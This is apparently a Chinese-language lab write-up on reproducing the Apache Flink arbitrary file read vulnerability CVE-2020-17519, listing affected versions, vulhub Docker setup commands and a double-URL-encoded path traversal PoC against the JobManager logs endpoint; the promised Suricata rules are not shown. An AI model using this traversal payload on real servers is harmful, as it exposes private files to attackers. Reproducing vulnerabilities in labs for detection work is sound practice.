Apache Flink漏洞（CVE-2020-17519）复现以及suricata规则检测

0x01 漏洞简介
Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。
Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

0x02 影响版本

1.11.0
1.11.1
1.11.2

0x03 环境搭建

 svn export https://github.com/vulhub/vulhub/trunk/flink/

进入CVE-2020-17519目录，创建环境

docker-compose up -d

访问http://ip:8081
0x04 漏洞复现
poc

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f